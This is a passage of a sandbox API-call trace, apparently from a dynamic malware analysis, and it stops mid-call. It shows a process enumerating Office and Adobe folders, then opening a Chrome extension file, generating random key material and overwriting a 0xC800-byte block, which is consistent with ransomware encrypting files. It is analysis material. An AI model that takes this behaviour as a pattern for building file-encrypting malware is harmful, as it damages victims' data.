[0167.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML", dwFileAttributes=0x20) returned 0 [0167.430] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6b48) returned 1 Thread: id = 5699 os_tid = 0x1b08 [0166.576] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\accessibility.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\accessibility.hun")) returned 0x20 [0166.576] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\accessibility.HUN", dwFileAttributes=0x20) returned 0 [0166.576] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\accessibility.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\accessibility.hun"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0166.577] GetLastError () returned 0x5 [0166.577] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\accessibility.HUN", dwFileAttributes=0x20) returned 0 [0166.577] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934b10) returned 1 Thread: id = 5700 os_tid = 0x1b0c [0166.578] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Acroform.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\acroform.hun")) returned 0x20 [0166.578] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Acroform.HUN", dwFileAttributes=0x20) returned 0 [0166.578] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Acroform.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\acroform.hun"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0166.578] GetLastError () returned 0x5 [0166.578] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Acroform.HUN", dwFileAttributes=0x20) returned 0 [0166.578] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c6ba70) returned 1 Thread: id = 5701 os_tid = 0x1b10 [0166.579] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\AdobeCollabSync.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\adobecollabsync.hun")) returned 0x20 [0166.580] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\AdobeCollabSync.HUN", dwFileAttributes=0x20) returned 0 [0166.580] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\AdobeCollabSync.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\adobecollabsync.hun"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0166.580] GetLastError () returned 0x5 [0166.580] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\AdobeCollabSync.HUN", dwFileAttributes=0x20) returned 0 [0166.580] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97c5c8) returned 1 Thread: id = 5702 os_tid = 0x1b14 [0166.589] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Annots.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\annots.hun")) returned 0x20 [0166.589] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Annots.HUN", dwFileAttributes=0x20) returned 0 [0166.589] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Annots.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\annots.hun"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0166.589] GetLastError () returned 0x5 [0166.589] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Annots.HUN", dwFileAttributes=0x20) returned 0 [0166.589] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab720) returned 1 Thread: id = 5720 os_tid = 0x1f98 [0166.801] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93cb48 [0166.801] wcscpy (in: _Dest=0x93cb48, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033" [0166.801] wcscat (in: _Dest=0x93cb48, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\" [0166.801] wcscat (in: _Dest=0x93cb48, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*" [0166.801] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92c4a0 [0166.801] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*", lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b278 [0169.958] wcscmp (_String1=".", _String2=".") returned 0 [0169.958] FindNextFileW (in: hFindFile=0x93b278, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.958] wcscmp (_String1="..", _String2=".") returned 1 [0169.958] wcscmp (_String1="..", _String2="..") returned 0 [0169.958] FindNextFileW (in: hFindFile=0x93b278, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdcf7a00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x97748b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdcf7a00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x517800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.DLL", cAlternateFileName="")) returned 1 [0169.958] wcscmp (_String1="MSGR3EN.DLL", _String2=".") returned 1 [0169.958] wcscmp (_String1="MSGR3EN.DLL", _String2="..") returned 1 [0169.958] FindNextFileW (in: hFindFile=0x93b278, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdcf7a00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x97748b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdcf7a00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x517800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.DLL", cAlternateFileName="")) returned 0 [0169.958] FindClose (in: hFindFile=0x93b278 | out: hFindFile=0x93b278) returned 1 [0169.958] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92c4a0) returned 1 [0169.958] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93cb48) returned 1 [0169.958] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c440) returned 1 Thread: id = 5721 os_tid = 0x1f9c [0166.805] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c9e0 [0166.805] wcscpy (in: _Dest=0x93c9e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036" [0166.806] wcscat (in: _Dest=0x93c9e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\" [0166.806] wcscat (in: _Dest=0x93c9e0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*" [0166.806] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x929950 [0166.806] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*", lpFindFileData=0x929950 | out: lpFindFileData=0x929950*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9c50 [0170.195] wcscmp (_String1=".", _String2=".") returned 0 [0170.195] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x929950 | out: lpFindFileData=0x929950*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.195] wcscmp (_String1="..", _String2=".") returned 1 [0170.195] wcscmp (_String1="..", _String2="..") returned 0 [0170.195] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x929950 | out: lpFindFileData=0x929950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c189700, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4551080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6c189700, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xc6f390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3FR.DLL", cAlternateFileName="")) returned 1 [0170.195] wcscmp (_String1="MSGR3FR.DLL", _String2=".") returned 1 [0170.195] wcscmp (_String1="MSGR3FR.DLL", _String2="..") returned 1 [0170.195] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x929950 | out: lpFindFileData=0x929950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c189700, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4551080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6c189700, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xc6f390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3FR.DLL", cAlternateFileName="")) returned 0 [0170.195] FindClose (in: hFindFile=0x8d9c50 | out: hFindFile=0x8d9c50) returned 1 [0170.195] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x929950) returned 1 [0170.195] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c9e0) returned 1 [0170.195] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93bf18) returned 1 Thread: id = 5722 os_tid = 0x1fa0 [0166.807] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93be28 [0166.807] wcscpy (in: _Dest=0x93be28, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082" [0166.807] wcscat (in: _Dest=0x93be28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\" [0166.807] wcscat (in: _Dest=0x93be28, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*" [0166.807] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92bfd0 [0166.807] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*", lpFindFileData=0x92bfd0 | out: lpFindFileData=0x92bfd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b2f8 [0169.738] wcscmp (_String1=".", _String2=".") returned 0 [0169.738] FindNextFileW (in: hFindFile=0x93b2f8, lpFindFileData=0x92bfd0 | out: lpFindFileData=0x92bfd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.738] wcscmp (_String1="..", _String2=".") returned 1 [0169.738] wcscmp (_String1="..", _String2="..") returned 0 [0169.738] FindNextFileW (in: hFindFile=0x93b2f8, lpFindFileData=0x92bfd0 | out: lpFindFileData=0x92bfd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a86c00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x54f4210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6a86c00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x227c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3ES.DLL", cAlternateFileName="")) returned 1 [0169.738] wcscmp (_String1="MSGR3ES.DLL", _String2=".") returned 1 [0169.738] wcscmp (_String1="MSGR3ES.DLL", _String2="..") returned 1 [0169.738] FindNextFileW (in: hFindFile=0x93b2f8, lpFindFileData=0x92bfd0 | out: lpFindFileData=0x92bfd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a86c00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x54f4210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6a86c00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x227c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3ES.DLL", cAlternateFileName="")) returned 0 [0169.738] FindClose (in: hFindFile=0x93b2f8 | out: hFindFile=0x93b2f8) returned 1 [0169.739] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92bfd0) returned 1 [0169.739] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93be28) returned 1 [0169.739] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93bea0) returned 1 Thread: id = 5733 os_tid = 0x1890 [0166.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.dub" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.dub")) returned 0x20 [0170.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.dub", dwFileAttributes=0x20) returned 0 [0170.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.dub" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.dub"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.184] GetLastError () returned 0x5 [0170.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.dub", dwFileAttributes=0x20) returned 0 [0170.185] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f8b38) returned 1 Thread: id = 5735 os_tid = 0x1ad0 [0166.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7EN.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7en.lex")) returned 0x20 [0170.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7EN.LEX", dwFileAttributes=0x20) returned 0 [0170.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7EN.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7en.lex"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.186] GetLastError () returned 0x5 [0170.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7EN.LEX", dwFileAttributes=0x20) returned 0 [0170.186] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f71b8) returned 1 Thread: id = 5738 os_tid = 0xafc [0166.830] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js")) returned 0x2020 [0167.832] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js", dwFileAttributes=0x20) returned 1 [0168.151] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x195c [0168.151] GetFileSizeEx (in: hFile=0x195c, lpFileSize=0xb2cfe38 | out: lpFileSize=0xb2cfe38*=207406) returned 1 [0168.151] SetFilePointerEx (in: hFile=0x195c, liDistanceToMove=0x32a2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.151] ReadFile (in: hFile=0x195c, lpBuffer=0xb2cfdbc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb2cfdb8, lpOverlapped=0x0 | out: lpBuffer=0xb2cfdbc*, lpNumberOfBytesRead=0xb2cfdb8*=0x4, lpOverlapped=0x0) returned 1 [0168.153] SetFilePointerEx (in: hFile=0x195c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.153] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9457a8 [0168.153] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945690 [0168.153] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945bb8 [0168.153] NtQuerySystemTime (in: CurrentTime=0xb2cfd98 | out: CurrentTime=0xb2cfd98*=132174899427538000) returned 0x0 [0168.153] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x4b193093 [0168.153] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x71081fc3 [0168.153] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x3897f8c2 [0168.153] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x6e654fab [0168.153] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x20596044 [0168.153] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x39ee692d [0168.153] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x70005b3d [0168.153] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x273fcb73 [0168.153] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x3b884504 [0168.153] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x2d9525a [0168.153] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x26df7c8 [0168.153] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x29dc8703 [0168.153] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x630a8e86 [0168.154] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x62d93b88 [0168.154] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x1f1c0f64 [0168.154] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0xe4837e6 [0168.154] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x22943f48 [0168.154] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x38260e8 [0168.154] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x4f9c7536 [0168.154] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x22f4cbac [0168.154] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x1b22f280 [0168.154] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x51858e7e [0168.154] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x22c645d1 [0168.154] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x6dff82d7 [0168.154] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x6fdc1e3d [0168.154] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x5006eab7 [0168.154] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x2a6c6b3 [0168.154] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x4cb8356f [0168.154] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x7cd6a85c [0168.154] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x1c0fd391 [0168.154] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0xfe8c0f9 [0168.154] RtlRandomEx (in: Seed=0xb2cfda4 | out: Seed=0xb2cfda4) returned 0x7abbb106 [0168.165] SetFilePointerEx (in: hFile=0x195c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.165] ReadFile (in: hFile=0x195c, lpBuffer=0xd505078, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xb2cfd78, lpOverlapped=0x0 | out: lpBuffer=0xd505078*, lpNumberOfBytesRead=0xb2cfd78*=0xc800, lpOverlapped=0x0) returned 1 [0168.166] SetFilePointerEx (in: hFile=0x195c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.166] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2bc0 [0168.166] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c788 [0168.166] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9457a8 [0168.166] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9457a8) returned 1 [0168.167] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc800) returned 0xd511880 [0168.168] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9457a8 [0168.168] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945bb8 [0168.168] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945bb8) returned 1 [0168.168] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c788) returned 1 [0168.168] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2bc0) returned 1 [0168.168] WriteFile (in: hFile=0x195c, lpBuffer=0xd511880*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xb2cfd78, lpOverlapped=0x0 | out: lpBuffer=0xd511880*, lpNumberOfBytesWritten=0xb2cfd78*=0xc800, lpOverlapped=0x0) returned 1 [0168.596] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd511880) returned 1 [0168.606] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd505078) returned 1 [0168.610] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x31) returned 0x8da290 [0168.610] SetFilePointerEx (in: hFile=0x195c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.610] WriteFile (in: hFile=0x195c, lpBuffer=0x9098d0*, nNumberOfBytesToWrite=0x115, 